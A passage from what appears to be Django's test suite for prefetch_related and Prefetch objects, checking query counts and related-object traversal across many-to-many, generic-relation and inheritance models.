                [["Amy"], ["Belinda"]],  # Charlotte - Poems, Jane Eyre
                [["Amy"]],                # Anne - Poems
                [["Amy"], []],            # Emily - Poems, Wuthering Heights
                [["Amy", "Belinda"]],    # Jane - Sense and Sense
            ])

    def test_overriding_prefetch(self):
        with self.assertNumQueries(3):
            qs = Author.objects.prefetch_related('books', 'books__read_by')
            lists = [[[six.text_type(r) for r in b.read_by.all()]
                      for b in a.books.all()]
                     for a in qs]
            self.assertEqual(lists, [
                [["Amy"], ["Belinda"]],  # Charlotte - Poems, Jane Eyre
                [["Amy"]],                # Anne - Poems
                [["Amy"], []],            # Emily - Poems, Wuthering Heights
                [["Amy", "Belinda"]],    # Jane - Sense and Sense
            ])
        with self.assertNumQueries(3):
            qs = Author.objects.prefetch_related('books__read_by', 'books')
            lists = [[[six.text_type(r) for r in b.read_by.all()]
                      for b in a.books.all()]
                     for a in qs]
            self.assertEqual(lists, [
                [["Amy"], ["Belinda"]],  # Charlotte - Poems, Jane Eyre
                [["Amy"]],                # Anne - Poems
                [["Amy"], []],            # Emily - Poems, Wuthering Heights
                [["Amy", "Belinda"]],    # Jane - Sense and Sense
            ])

    def test_get(self):
        """
        Test that objects retrieved with .get() get the prefetch behavior.
        """
        # Need a double
        with self.assertNumQueries(3):
            author = Author.objects.prefetch_related('books__read_by').get(name="Charlotte")
            lists = [[six.text_type(r) for r in b.read_by.all()] for b in author.books.all()]
            self.assertEqual(lists, [["Amy"], ["Belinda"]])  # Poems, Jane Eyre

    def test_foreign_key_then_m2m(self):
        """
        Test we can follow an m2m relation after a relation like ForeignKey
        that doesn't have many objects
        """
        with self.assertNumQueries(2):
            qs = Author.objects.select_related('first_book').prefetch_related('first_book__read_by')
            lists = [[six.text_type(r) for r in a.first_book.read_by.all()]
                     for a in qs]
            self.assertEqual(lists, [["Amy"], ["Amy"], ["Amy"], ["Amy", "Belinda"]])

    def test_reverse_one_to_one_then_m2m(self):
        """
        Test that we can follow a m2m relation after going through
        the select_related reverse of an o2o.
        """
        qs = Author.objects.prefetch_related('bio__books').select_related('bio')

        with self.assertNumQueries(1):
            list(qs.all())

        Bio.objects.create(author=self.author1)
        with self.assertNumQueries(2):
            list(qs.all())

    def test_attribute_error(self):
        qs = Reader.objects.all().prefetch_related('books_read__xyz')
        with self.assertRaises(AttributeError) as cm:
            list(qs)

        self.assertIn('prefetch_related', str(cm.exception))

    def test_invalid_final_lookup(self):
        qs = Book.objects.prefetch_related('authors__name')
        with self.assertRaises(ValueError) as cm:
            list(qs)

        self.assertIn('prefetch_related', str(cm.exception))
        self.assertIn("name", str(cm.exception))

    def test_forward_m2m_to_attr_conflict(self):
        msg = 'to_attr=authors conflicts with a field on the Book model.'
        authors = Author.objects.all()
        with self.assertRaisesMessage(ValueError, msg):
            list(Book.objects.prefetch_related(
                Prefetch('authors', queryset=authors, to_attr='authors'),
            ))
        # Without the ValueError, an author was deleted due to the implicit
        # save of the relation assignment.
        self.assertEqual(self.book1.authors.count(), 3)

    def test_reverse_m2m_to_attr_conflict(self):
        msg = 'to_attr=books conflicts with a field on the Author model.'
        poems = Book.objects.filter(title='Poems')
        with self.assertRaisesMessage(ValueError, msg):
            list(Author.objects.prefetch_related(
                Prefetch('books', queryset=poems, to_attr='books'),
            ))
        # Without the ValueError, a book was deleted due to the implicit
        # save of reverse relation assignment.
        self.assertEqual(self.author1.books.count(), 2)

    def test_m2m_then_reverse_fk_object_ids(self):
        with CaptureQueriesContext(connection) as queries:
            list(Book.objects.prefetch_related('authors__addresses'))

        sql = queries[-1]['sql']
        self.assertEqual(sql.count(self.author1.name), 1)

    def test_m2m_then_m2m_object_ids(self):
        with CaptureQueriesContext(connection) as queries:
            list(Book.objects.prefetch_related('authors__favorite_authors'))

        sql = queries[-1]['sql']
        self.assertEqual(sql.count(self.author1.name), 1)

    def test_m2m_then_reverse_one_to_one_object_ids(self):
        with CaptureQueriesContext(connection) as queries:
            list(Book.objects.prefetch_related('authors__authorwithage'))

        sql = queries[-1]['sql']
        self.assertEqual(sql.count(str(self.author1.id)), 1, sql)


class CustomPrefetchTests(TestCase):
    @classmethod
    def traverse_qs(cls, obj_iter, path):
        """
        Helper method that returns a list containing a list of the objects in the
        obj_iter. Then for each object in the obj_iter, the path will be
        recursively travelled and the found objects are added to the return value.
        """
        ret_val = []

        if hasattr(obj_iter, 'all'):
            obj_iter = obj_iter.all()

        try:
            iter(obj_iter)
        except TypeError:
            obj_iter = [obj_iter]

        for obj in obj_iter:
            rel_objs = []
            for part in path:
                if not part:
                    continue
                try:
                    related = getattr(obj, part[0])
                except ObjectDoesNotExist:
                    continue
                if related is not None:
                    rel_objs.extend(cls.traverse_qs(related, [part[1:]]))
            ret_val.append((obj, rel_objs))
        return ret_val

    @classmethod
    def setUpTestData(cls):
        cls.person1 = Person.objects.create(name='Joe')
        cls.person2 = Person.objects.create(name='Mary')

        # Set main_room for each house before creating the next one for
        # databases where supports_nullable_unique_constraints is False.

        cls.house1 = House.objects.create(name='House 1', address='123 Main St', owner=cls.person1)
        cls.room1_1 = Room.objects.create(name='Dining room', house=cls.house1)
        cls.room1_2 = Room.objects.create(name='Lounge', house=cls.house1)
        cls.room1_3 = Room.objects.create(name='Kitchen', house=cls.house1)
        cls.house1.main_room = cls.room1_1
        cls.house1.save()
        cls.person1.houses.add(cls.house1)

        cls.house2 = House.objects.create(name='House 2', address='45 Side St', owner=cls.person1)
        cls.room2_1 = Room.objects.create(name='Dining room', house=cls.house2)
        cls.room2_2 = Room.objects.create(name='Lounge', house=cls.house2)
        cls.room2_3 = Room.objects.create(name='Kitchen', house=cls.house2)
        cls.house2.main_room = cls.room2_1
        cls.house2.save()
        cls.person1.houses.add(cls.house2)

        cls.house3 = House.objects.create(name='House 3', address='6 Downing St', owner=cls.person2)
        cls.room3_1 = Room.objects.create(name='Dining room', house=cls.house3)
        cls.room3_2 = Room.objects.create(name='Lounge', house=cls.house3)
        cls.room3_3 = Room.objects.create(name='Kitchen', house=cls.house3)
        cls.house3.main_room = cls.room3_1
        cls.house3.save()
        cls.person2.houses.add(cls.house3)

        cls.house4 = House.objects.create(name='house 4', address="7 Regents St", owner=cls.person2)
        cls.room4_1 = Room.objects.create(name='Dining room', house=cls.house4)
        cls.room4_2 = Room.objects.create(name='Lounge', house=cls.house4)
        cls.room4_3 = Room.objects.create(name='Kitchen', house=cls.house4)
        cls.house4.main_room = cls.room4_1
        cls.house4.save()
        cls.person2.houses.add(cls.house4)

    def test_traverse_qs(self):
        qs = Person.objects.prefetch_related('houses')
        related_objs_normal = [list(p.houses.all()) for p in qs],
        related_objs_from_traverse = [[inner[0] for inner in o[1]]
                                      for o in self.traverse_qs(qs, [['houses']])]
        self.assertEqual(related_objs_normal, (related_objs_from_traverse,))

    def test_ambiguous(self):
        # Ambiguous: Lookup was already seen with a different queryset.
        with self.assertRaises(ValueError):
            self.traverse_qs(
                Person.objects.prefetch_related('houses__rooms', Prefetch('houses', queryset=House.objects.all())),
                [['houses', 'rooms']]
            )

        # Ambiguous: Lookup houses_lst doesn't yet exist when performing houses_lst__rooms.
        with self.assertRaises(AttributeError):
            self.traverse_qs(
                Person.objects.prefetch_related(
                    'houses_lst__rooms',
                    Prefetch('houses', queryset=House.objects.all(), to_attr='houses_lst')
                ),
                [['houses', 'rooms']]
            )

        # Not ambiguous.
        self.traverse_qs(
            Person.objects.prefetch_related('houses__rooms', 'houses'),
            [['houses', 'rooms']]
        )

        self.traverse_qs(
            Person.objects.prefetch_related(
                'houses__rooms',
                Prefetch('houses', queryset=House.objects.all(), to_attr='houses_lst')
            ),
            [['houses', 'rooms']]
        )

    def test_m2m(self):
        # Control lookups.
        with self.assertNumQueries(2):
            lst1 = self.traverse_qs(
                Person.objects.prefetch_related('houses'),
                [['houses']]
            )

        # Test lookups.
        with self.assertNumQueries(2):
            lst2 = self.traverse_qs(
                Person.objects.prefetch_related(Prefetch('houses')),
                [['houses']]
            )
        self.assertEqual(lst1, lst2)
        with self.assertNumQueries(2):
            lst2 = self.traverse_qs(
                Person.objects.prefetch_related(Prefetch('houses', to_attr='houses_lst')),
                [['houses_lst']]
            )
        self.assertEqual(lst1, lst2)

    def test_reverse_m2m(self):
        # Control lookups.
        with self.assertNumQueries(2):
            lst1 = self.traverse_qs(
                House.objects.prefetch_related('occupants'),
                [['occupants']]
            )

        # Test lookups.
        with self.assertNumQueries(2):
            lst2 = self.traverse_qs(
                House.objects.prefetch_related(Prefetch('occupants')),
                [['occupants']]
            )
        self.assertEqual(lst1, lst2)
        with self.assertNumQueries(2):
            lst2 = self.traverse_qs(
                House.objects.prefetch_related(Prefetch('occupants', to_attr='occupants_lst')),
                [['occupants_lst']]
            )
        self.assertEqual(lst1, lst2)

    def test_m2m_through_fk(self):
        # Control lookups.
        with self.assertNumQueries(3):
            lst1 = self.traverse_qs(
                Room.objects.prefetch_related('house__occupants'),
                [['house', 'occupants']]
            )

        # Test lookups.
        with self.assertNumQueries(3):
            lst2 = self.traverse_qs(
                Room.objects.prefetch_related(Prefetch('house__occupants')),
                [['house', 'occupants']]
            )
        self.assertEqual(lst1, lst2)
        with self.assertNumQueries(3):
            lst2 = self.traverse_qs(
                Room.objects.prefetch_related(Prefetch('house__occupants', to_attr='occupants_lst')),
                [['house', 'occupants_lst']]
            )
        self.assertEqual(lst1, lst2)

    def test_m2m_through_gfk(self):
        TaggedItem.objects.create(tag="houses", content_object=self.house1)
        TaggedItem.objects.create(tag="houses", content_object=self.house2)

        # Control lookups.
        with self.assertNumQueries(3):
            lst1 = self.traverse_qs(
                TaggedItem.objects.filter(tag='houses').prefetch_related('content_object__rooms'),
                [['content_object', 'rooms']]
            )

        # Test lookups.
        with self.assertNumQueries(3):
            lst2 = self.traverse_qs(
                TaggedItem.objects.prefetch_related(
                    Prefetch('content_object'),
                    Prefetch('content_object__rooms', to_attr='rooms_lst')
                ),
                [['content_object', 'rooms_lst']]
            )
        self.assertEqual(lst1, lst2)

    def test_o2m_through_m2m(self):
        # Control lookups.
        with self.assertNumQueries(3):
            lst1 = self.traverse_qs(
                Person.objects.prefetch_related('houses', 'houses__rooms'),
                [['houses', 'rooms']]
            )

        # Test lookups.
        with self.assertNumQueries(3):
            lst2 = self.traverse_qs(
                Person.objects.prefetch_related(Prefetch('houses'), 'houses__rooms'),
                [['houses', 'rooms']]
            )
        self.assertEqual(lst1, lst2)
        with self.assertNumQueries(3):
            lst2 = self.traverse_qs(
                Person.objects.prefetch_related(Prefetch('houses'), Prefetch('houses__rooms')),
                [['houses', 'rooms']]
            )
        self.assertEqual(lst1, lst2)
        with self.assertNumQueries(3):
            lst2 = self.traverse_qs(
                Person.objects.prefetch_related(Prefetch('houses', to_attr='houses_lst'), 'houses_lst__rooms'),
                [['houses_lst', 'rooms']]
            )
        self.assertEqual(lst1, lst2)
        with self.assertNumQueries(3):
            lst2 = self.traverse_qs(
                Person.objects.prefetch_related(
                    Prefetch('houses', to_attr='houses_lst'),
                    Prefetch('houses_lst__rooms', to_attr='rooms_lst')
                ),
                [['houses_lst', 'rooms_lst']]
            )
        self.assertEqual(lst1, lst2)

    def test_generic_rel(self):
        bookmark = Bookmark.objects.create(url='http://www.djangoproject.com/')
        TaggedItem.objects.create(content_object=bookmark, tag='django')
        TaggedItem.objects.create(content_object=bookmark, favorite=bookmark, tag='python')

        # Control lookups.
        with self.assertNumQueries(4):
            lst1 = self.traverse_qs(
                Bookmark.objects.prefetch_related('tags', 'tags__content_object', 'favorite_tags'),
                [['tags', 'content_object'], ['favorite_tags']]
            )

        # Test lookups.
        with self.assertNumQueries(4):
            lst2 = self.traverse_qs(
                Bookmark.objects.prefetch_related(
                    Prefetch('tags', to_attr='tags_lst'),
                    Prefetch('tags_lst__content_object'),
                    Prefetch('favorite_tags'),
                ),
                [['tags_lst', 'content_object'], ['favorite_tags']]
            )
        self.assertEqual(lst1, lst2)

    def test_traverse_single_item_property(self):
        # Control lookups.
        with self.assertNumQueries(5):
            lst1 = self.traverse_qs(
                Person.objects.prefetch_related(
                    'houses__rooms',
                    'primary_house__occupants__houses',
                ),
                [['primary_house', 'occupants', 'houses']]
            )

        # Test lookups.
        with self.assertNumQueries(5):
            lst2 = self.traverse_qs(
                Person.objects.prefetch_related(
                    'houses__rooms',
                    Prefetch('primary_house__occupants', to_attr='occupants_lst'),
                    'primary_house__occupants_lst__houses',
                ),
                [['primary_house', 'occupants_lst', 'houses']]
            )
        self.assertEqual(lst1, lst2)

    def test_traverse_multiple_items_property(self):
        # Control lookups.
        with self.assertNumQueries(4):
            lst1 = self.traverse_qs(
                Person.objects.prefetch_related(
                    'houses',
                    'all_houses__occupants__houses',
                ),
                [['all_houses', 'occupants', 'houses']]
            )

        # Test lookups.
        with self.assertNumQueries(4):
            lst2 = self.traverse_qs(
                Person.objects.prefetch_related(
                    'houses',
                    Prefetch('all_houses__occupants', to_attr='occupants_lst'),
                    'all_houses__occupants_lst__houses',
                ),
                [['all_houses', 'occupants_lst', 'houses']]
            )
        self.assertEqual(lst1, lst2)

    def test_custom_qs(self):
        # Test basic.
        with self.assertNumQueries(2):
            lst1 = list(Person.objects.prefetch_related('houses'))
        with self.assertNumQueries(2):
            lst2 = list(Person.objects.prefetch_related(
                Prefetch('houses', queryset=House.objects.all(), to_attr='houses_lst')))
        self.assertEqual(
            self.traverse_qs(lst1, [['houses']]),
            self.traverse_qs(lst2, [['houses_lst']])
        )

        # Test queryset filtering.
        with self.assertNumQueries(2):
            lst2 = list(
                Person.objects.prefetch_related(
                    Prefetch(
                        'houses',
                        queryset=House.objects.filter(pk__in=[self.house1.pk, self.house3.pk]),
                        to_attr='houses_lst',
                    )
                )
            )
        self.assertEqual(len(lst2[0].houses_lst), 1)
        self.assertEqual(lst2[0].houses_lst[0], self.house1)
        self.assertEqual(len(lst2[1].houses_lst), 1)
        self.assertEqual(lst2[1].houses_lst[0], self.house3)

        # Test flattened.
        with self.assertNumQueries(3):
            lst1 = list(Person.objects.prefetch_related('houses__rooms'))
        with self.assertNumQueries(3):
            lst2 = list(Person.objects.prefetch_related(
                Prefetch('houses__rooms', queryset=Room.objects.all(), to_attr='rooms_lst')))
        self.assertEqual(
            self.traverse_qs(lst1, [['houses', 'rooms']]),
            self.traverse_qs(lst2, [['houses', 'rooms_lst']])
        )

        # Test inner select_related.
        with self.assertNumQueries(3):
            lst1 = list(Person.objects.prefetch_related('houses__owner'))
        with self.assertNumQueries(2):
            lst2 = list(Person.objects.prefetch_related(
                Prefetch('houses', queryset=House.objects.select_related('owner'))))
        self.assertEqual(
            self.traverse_qs(lst1, [['houses', 'owner']]),
            self.traverse_qs(lst2, [['houses', 'owner']])
        )

        # Test inner prefetch.
        inner_rooms_qs = Room.objects.filter(pk__in=[self.room1_1.pk, self.room1_2.pk])
        houses_qs_prf = House.objects.prefetch_related(
            Prefetch('rooms', queryset=inner_rooms_qs, to_attr='rooms_lst'))
        with self.assertNumQueries(4):
            lst2 = list(Person.objects.prefetch_related(
                Prefetch('houses', queryset=houses_qs_prf.filter(pk=self.house1.pk), to_attr='houses_lst'),
                Prefetch('houses_lst__rooms_lst__main_room_of')
            ))

        self.assertEqual(len(lst2[0].houses_lst[0].rooms_lst), 2)
        self.assertEqual(lst2[0].houses_lst[0].rooms_lst[0], self.room1_1)
        self.assertEqual(lst2[0].houses_lst[0].rooms_lst[1], self.room1_2)
        self.assertEqual(lst2[0].houses_lst[0].rooms_lst[0].main_room_of, self.house1)
        self.assertEqual(len(lst2[1].houses_lst), 0)

        # Test ForwardManyToOneDescriptor.
        houses = House.objects.select_related('owner')
        with self.assertNumQueries(6):
            rooms = Room.objects.all().prefetch_related('house')
            lst1 = self.traverse_qs(rooms, [['house', 'owner']])
        with self.assertNumQueries(2):
            rooms = Room.objects.all().prefetch_related(Prefetch('house', queryset=houses.all()))
            lst2 = self.traverse_qs(rooms, [['house', 'owner']])
        self.assertEqual(lst1, lst2)
        with self.assertNumQueries(2):
            houses = House.objects.select_related('owner')
            rooms = Room.objects.all().prefetch_related(Prefetch('house', queryset=houses.all(), to_attr='house_attr'))
            lst2 = self.traverse_qs(rooms, [['house_attr', 'owner']])
        self.assertEqual(lst1, lst2)
        room = Room.objects.all().prefetch_related(
            Prefetch('house', queryset=houses.filter(address='DoesNotExist'))
        ).first()
        with self.assertRaises(ObjectDoesNotExist):
            getattr(room, 'house')
        room = Room.objects.all().prefetch_related(
            Prefetch('house', queryset=houses.filter(address='DoesNotExist'), to_attr='house_attr')
        ).first()
        self.assertIsNone(room.house_attr)
        rooms = Room.objects.all().prefetch_related(Prefetch('house', queryset=House.objects.only('name')))
        with self.assertNumQueries(2):
            getattr(rooms.first().house, 'name')
        with self.assertNumQueries(3):
            getattr(rooms.first().house, 'address')

        # Test ReverseOneToOneDescriptor.
        houses = House.objects.select_related('owner')
        with self.assertNumQueries(6):
            rooms = Room.objects.all().prefetch_related('main_room_of')
            lst1 = self.traverse_qs(rooms, [['main_room_of', 'owner']])
        with self.assertNumQueries(2):
            rooms = Room.objects.all().prefetch_related(Prefetch('main_room_of', queryset=houses.all()))
            lst2 = self.traverse_qs(rooms, [['main_room_of', 'owner']])
        self.assertEqual(lst1, lst2)
        with self.assertNumQueries(2):
            rooms = list(
                Room.objects.all().prefetch_related(
                    Prefetch('main_room_of', queryset=houses.all(), to_attr='main_room_of_attr')
                )
            )
            lst2 = self.traverse_qs(rooms, [['main_room_of_attr', 'owner']])
        self.assertEqual(lst1, lst2)
        room = Room.objects.filter(main_room_of__isnull=False).prefetch_related(
            Prefetch('main_room_of', queryset=houses.filter(address='DoesNotExist'))
        ).first()
        with self.assertRaises(ObjectDoesNotExist):
            getattr(room, 'main_room_of')
        room = Room.objects.filter(main_room_of__isnull=False).prefetch_related(
            Prefetch('main_room_of', queryset=houses.filter(address='DoesNotExist'), to_attr='main_room_of_attr')
        ).first()
        self.assertIsNone(room.main_room_of_attr)

        # The custom queryset filters should be applied to the queryset
        # instance returned by the manager.
        person = Person.objects.prefetch_related(
            Prefetch('houses', queryset=House.objects.filter(name='House 1')),
        ).get(pk=self.person1.pk)
        self.assertEqual(
            list(person.houses.all()),
            list(person.houses.all().all()),
        )

    def test_nested_prefetch_related_are_not_overwritten(self):
        # Regression test for #24873
        houses_2 = House.objects.prefetch_related(Prefetch('rooms'))
        persons = Person.objects.prefetch_related(Prefetch('houses', queryset=houses_2))
        houses = House.objects.prefetch_related(Prefetch('occupants', queryset=persons))
        list(houses)  # queryset must be evaluated once to reproduce the bug.
        self.assertEqual(
            houses.all()[0].occupants.all()[0].houses.all()[1].rooms.all()[0],
            self.room2_1
        )

    def test_apply_rel_filters_deprecation_shim(self):
        # Simulate a missing `_apply_rel_filters` method.
        del Person.houses.related_manager_cls._apply_rel_filters
        # Also remove `get_queryset` as it rely on `_apply_rel_filters`.
        del Person.houses.related_manager_cls.get_queryset
        try:
            with warnings.catch_warnings(record=True) as warns:
                warnings.simplefilter('always')
                list(Person.objects.prefetch_related(
                    Prefetch('houses', queryset=House.objects.filter(name='House 1'))
                ))
        finally:
            # Deleting `related_manager_cls` will force the creation of a new
            # class since it's a `cached_property`.
            del Person.houses.related_manager_cls
        msg = (
            'The `django.db.models.fields.related_descriptors.ManyRelatedManager` class '
            'must implement a `_apply_rel_filters()` method that accepts a `QuerySet` as '
            'its single argument and returns an appropriately filtered version of it.'
        )
        self.assertEqual(len(warns), 2)  # Once person.
        self.assertEqual(str(warns[0].message), msg)
        self.assertEqual(str(warns[0].message), msg)

    def test_values_queryset(self):
        with self.assertRaisesMessage(ValueError, 'Prefetch querysets cannot use values().'):
            Prefetch('houses', House.objects.values('pk'))

    def test_to_attr_doesnt_cache_through_attr_as_list(self):
        house = House.objects.prefetch_related(
            Prefetch('rooms', queryset=Room.objects.all(), to_attr='to_rooms'),
        ).get(pk=self.house3.pk)
        self.assertIsInstance(house.rooms.all(), QuerySet)

    def test_to_attr_cached_property(self):
        persons = Person.objects.prefetch_related(
            Prefetch('houses', House.objects.all(), to_attr='cached_all_houses'),
        )
        for person in persons:
            # To bypass caching at the related descriptor level, don't use
            # person.houses.all() here.
            all_houses = list(House.objects.filter(occupants=person))
            with self.assertNumQueries(0):
                self.assertEqual(person.cached_all_houses, all_houses)


class DefaultManagerTests(TestCase):

    def setUp(self):
        self.qual1 = Qualification.objects.create(name="BA")
        self.qual2 = Qualification.objects.create(name="BSci")
        self.qual3 = Qualification.objects.create(name="MA")
        self.qual4 = Qualification.objects.create(name="PhD")

        self.teacher1 = Teacher.objects.create(name="Mr Cleese")
        self.teacher2 = Teacher.objects.create(name="Mr Idle")
        self.teacher3 = Teacher.objects.create(name="Mr Chapman")

        self.teacher1.qualifications.add(self.qual1, self.qual2, self.qual3, self.qual4)
        self.teacher2.qualifications.add(self.qual1)
        self.teacher3.qualifications.add(self.qual2)

        self.dept1 = Department.objects.create(name="English")
        self.dept2 = Department.objects.create(name="Physics")

        self.dept1.teachers.add(self.teacher1, self.teacher2)
        self.dept2.teachers.add(self.teacher1, self.teacher3)

    def test_m2m_then_m2m(self):
        with self.assertNumQueries(3):
            # When we prefetch the teachers, and force the query, we don't want
            # the default manager on teachers to immediately get all the related
            # qualifications, since this will do one query per teacher.
            qs = Department.objects.prefetch_related('teachers')
            depts = "".join("%s department: %s\n" %
                            (dept.name, ", ".join(six.text_type(t) for t in dept.teachers.all()))
                            for dept in qs)

            self.assertEqual(depts,
                             "English department: Mr Cleese (BA, BSci, MA, PhD), Mr Idle (BA)\n"
                             "Physics department: Mr Cleese (BA, BSci, MA, PhD), Mr Chapman (BSci)\n")


class GenericRelationTests(TestCase):

    @classmethod
    def setUpTestData(cls):
        book1 = Book.objects.create(title="Winnie the Pooh")
        book2 = Book.objects.create(title="Do you like green eggs and spam?")
        book3 = Book.objects.create(title="Three Men In A Boat")

        reader1 = Reader.objects.create(name="me")
        reader2 = Reader.objects.create(name="you")
        reader3 = Reader.objects.create(name="someone")

        book1.read_by.add(reader1, reader2)
        book2.read_by.add(reader2)
        book3.read_by.add(reader3)

        cls.book1, cls.book2, cls.book3 = book1, book2, book3
        cls.reader1, cls.reader2, cls.reader3 = reader1, reader2, reader3

    def test_prefetch_GFK(self):
        TaggedItem.objects.create(tag="awesome", content_object=self.book1)
        TaggedItem.objects.create(tag="great", content_object=self.reader1)
        TaggedItem.objects.create(tag="outstanding", content_object=self.book2)
        TaggedItem.objects.create(tag="amazing", content_object=self.reader3)

        # 1 for TaggedItem table, 1 for Book table, 1 for Reader table
        with self.assertNumQueries(3):
            qs = TaggedItem.objects.prefetch_related('content_object')
            list(qs)

    def test_prefetch_GFK_nonint_pk(self):
        Comment.objects.create(comment="awesome", content_object=self.book1)

        # 1 for Comment table, 1 for Book table
        with self.assertNumQueries(2):
            qs = Comment.objects.prefetch_related('content_object')
            [c.content_object for c in qs]

    def test_traverse_GFK(self):
        """
        Test that we can traverse a 'content_object' with prefetch_related() and
        get to related objects on the other side (assuming it is suitably
        filtered)
        """
        TaggedItem.objects.create(tag="awesome", content_object=self.book1)
        TaggedItem.objects.create(tag="awesome", content_object=self.book2)
        TaggedItem.objects.create(tag="awesome", content_object=self.book3)
        TaggedItem.objects.create(tag="awesome", content_object=self.reader1)
        TaggedItem.objects.create(tag="awesome", content_object=self.reader2)

        ct = ContentType.objects.get_for_model(Book)

        # We get 3 queries - 1 for main query, 1 for content_objects since they
        # all use the same table, and 1 for the 'read_by' relation.
        with self.assertNumQueries(3):
            # If we limit to books, we know that they will have 'read_by'
            # attributes, so the following makes sense:
            qs = TaggedItem.objects.filter(content_type=ct, tag='awesome').prefetch_related('content_object__read_by')
            readers_of_awesome_books = {r.name for tag in qs
                                        for r in tag.content_object.read_by.all()}
            self.assertEqual(readers_of_awesome_books, {"me", "you", "someone"})

    def test_nullable_GFK(self):
        TaggedItem.objects.create(tag="awesome", content_object=self.book1,
                                  created_by=self.reader1)
        TaggedItem.objects.create(tag="great", content_object=self.book2)
        TaggedItem.objects.create(tag="rubbish", content_object=self.book3)

        with self.assertNumQueries(2):
            result = [t.created_by for t in TaggedItem.objects.prefetch_related('created_by')]

        self.assertEqual(result,
                         [t.created_by for t in TaggedItem.objects.all()])

    def test_generic_relation(self):
        bookmark = Bookmark.objects.create(url='http://www.djangoproject.com/')
        TaggedItem.objects.create(content_object=bookmark, tag='django')
        TaggedItem.objects.create(content_object=bookmark, tag='python')

        with self.assertNumQueries(2):
            tags = [t.tag for b in Bookmark.objects.prefetch_related('tags')
                    for t in b.tags.all()]
            self.assertEqual(sorted(tags), ["django", "python"])

    def test_charfield_GFK(self):
        b = Bookmark.objects.create(url='http://www.djangoproject.com/')
        TaggedItem.objects.create(content_object=b, tag='django')
        TaggedItem.objects.create(content_object=b, favorite=b, tag='python')

        with self.assertNumQueries(3):
            bookmark = Bookmark.objects.filter(pk=b.pk).prefetch_related('tags', 'favorite_tags')[0]
            self.assertEqual(sorted([i.tag for i in bookmark.tags.all()]), ["django", "python"])
            self.assertEqual([i.tag for i in bookmark.favorite_tags.all()], ["python"])

    def test_custom_queryset(self):
        bookmark = Bookmark.objects.create(url='http://www.djangoproject.com/')
        django_tag = TaggedItem.objects.create(content_object=bookmark, tag='django')
        TaggedItem.objects.create(content_object=bookmark, tag='python')

        with self.assertNumQueries(2):
            bookmark = Bookmark.objects.prefetch_related(
                Prefetch('tags', TaggedItem.objects.filter(tag='django')),
            ).get()

        with self.assertNumQueries(0):
            self.assertEqual(list(bookmark.tags.all()), [django_tag])

        # The custom queryset filters should be applied to the queryset
        # instance returned by the manager.
        self.assertEqual(list(bookmark.tags.all()), list(bookmark.tags.all().all()))


class MultiTableInheritanceTest(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.book1 = BookWithYear.objects.create(title='Poems', published_year=2010)
        cls.book2 = BookWithYear.objects.create(title='More poems', published_year=2011)
        cls.author1 = AuthorWithAge.objects.create(name='Jane', first_book=cls.book1, age=50)
        cls.author2 = AuthorWithAge.objects.create(name='Tom', first_book=cls.book1, age=49)
        cls.author3 = AuthorWithAge.objects.create(name='Robert', first_book=cls.book2, age=48)
        cls.author_address = AuthorAddress.objects.create(author=cls.author1, address='SomeStreet 1')
        cls.book2.aged_authors.add(cls.author2, cls.author3)
        cls.br1 = BookReview.objects.create(book=cls.book1, notes='review book1')
        cls.br2 = BookReview.objects.create(book=cls.book2, notes='review book2')

    def test_foreignkey(self):
        with self.assertNumQueries(2):
            qs = AuthorWithAge.objects.prefetch_related('addresses')
            addresses = [[six.text_type(address) for address in obj.addresses.all()] for obj in qs]
        self.assertEqual(addresses, [[six.text_type(self.author_address)], [], []])

    def test_foreignkey_to_inherited(self):
        with self.assertNumQueries(2):
            qs = BookReview.objects.prefetch_related('book')
            titles = [obj.book.title for obj in qs]
        self.assertEqual(titles, ["Poems", "More poems"])

    def test_m2m_to_inheriting_model(self):
        qs = AuthorWithAge.objects.prefetch_related('books_with_year')
        with self.assertNumQueries(2):
            lst = [[six.text_type(book) for book in author.books_with_year.all()] for author in qs]
        qs = AuthorWithAge.objects.all()
        lst2 = [[six.text_type(book) for book in author.books_with_year.all()] for author in qs]
        self.assertEqual(lst, lst2)

        qs = BookWithYear.objects.prefetch_related('aged_authors')
        with self.assertNumQueries(2):
            lst = [[six.text_type(author) for author in book.aged_authors.all()] for book in qs]
        qs = BookWithYear.objects.all()
        lst2 = [[six.text_type(author) for author in book.aged_authors.all()] for book in qs]
        self.assertEqual(lst, lst2)

    def test_parent_link_prefetch(self):
        with self.assertNumQueries(2):
            [a.author for a in AuthorWithAge.objects.prefetch_related('author')]

    @override_settings(DEBUG=True)
    def test_child_link_prefetch(self):
        with self.assertNumQueries(2):
            l = [a.authorwithage for a in Author.objects.prefetch_related('authorwithage')]

        # Regression for #18090: the prefetching query must include an IN clause.
        # Note that on Oracle the table name is upper case in the generated SQL,
        # thus the .lower() call.
        self.assertIn('authorwithage', connection.queries[-1]['sql'].lower())
        self.assertIn(' IN ', connection.queries[-1]['sql'])

        self.assertEqual(l, [a.authorwithage for a in Author.objects.all()])


class ForeignKeyToFieldTest(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.book = Book.objects.create(title='Poems')
        cls.author1 = Author.objects.create(name='Jane', first_book=cls.book)
        cls.author2 = Author.objects.create(name='Tom', first_book=cls.book)
        cls.author3 = Author.objects.create(name='Robert', first_book=cls.book)
        cls.author_address = AuthorAddress.objects.create(author=cls.author1, address='SomeStreet 1')
        FavoriteAuthors.objects.create(author=cls.author1, likes_author=cls.author2)
        FavoriteAuthors.objects.create(author=cls.author2, likes_author=cls.author3)
        FavoriteAuthors.objects.create(author=cls.author3, likes_author=cls.author1)

    def test_foreignkey(self):
        with self.assertNumQueries(2):
            qs = Author.objects.prefetch_related('addresses')
            addresses = [[six.text_type(address) for address in obj.addresses.all()]
                         for obj in qs]
        self.assertEqual(addresses, [[six.text_type(self.author_address)], [], []])

    def test_m2m(self):
        with self.assertNumQueries(3):
            qs = Author.objects.all().prefetch_related('favorite_authors', 'favors_me')
            favorites = [(
                [six.text_type(i_like) for i_like in author.favorite_authors.all()],
                [six.text_type(likes_me) for likes_me in author.favors_me.all()]
            ) for author in qs]
            self.assertEqual(
                favorites,
                [
                    ([six.text_type(self.author2)], [six.text_type(self.author3)]),
                    ([six.text_type(self.author3)], [six.text_type(self.author1)]),
                    ([six.text_type(self.author1)], [six.text_type(self.author2)])
                ]
            )


class LookupOrderingTest(TestCase):
    """
    Test cases that demonstrate that ordering of lookups is important, and
    ensure it is preserved.
    """

    def setUp(self):
        self.person1 = Person.objects.create(name="Joe")
        self.person2 = Person.objects.create(name="Mary")

        # Set main_room for each house before creating the next one for
        # databases where supports_nullable_unique_constraints is False.

